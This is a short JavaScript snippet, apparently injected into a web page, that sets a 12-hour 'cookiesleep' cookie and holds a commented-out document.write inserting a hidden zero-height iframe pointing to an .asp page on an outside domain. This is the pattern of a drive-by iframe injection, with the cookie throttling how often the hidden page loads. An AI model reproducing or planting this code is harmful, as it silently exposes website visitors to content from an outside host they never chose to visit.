var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+12*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
//document.write("<iframe src=http://www.paras.com.cn/en/css/fs.asp width=40 height=0 border=0></iframe>");
}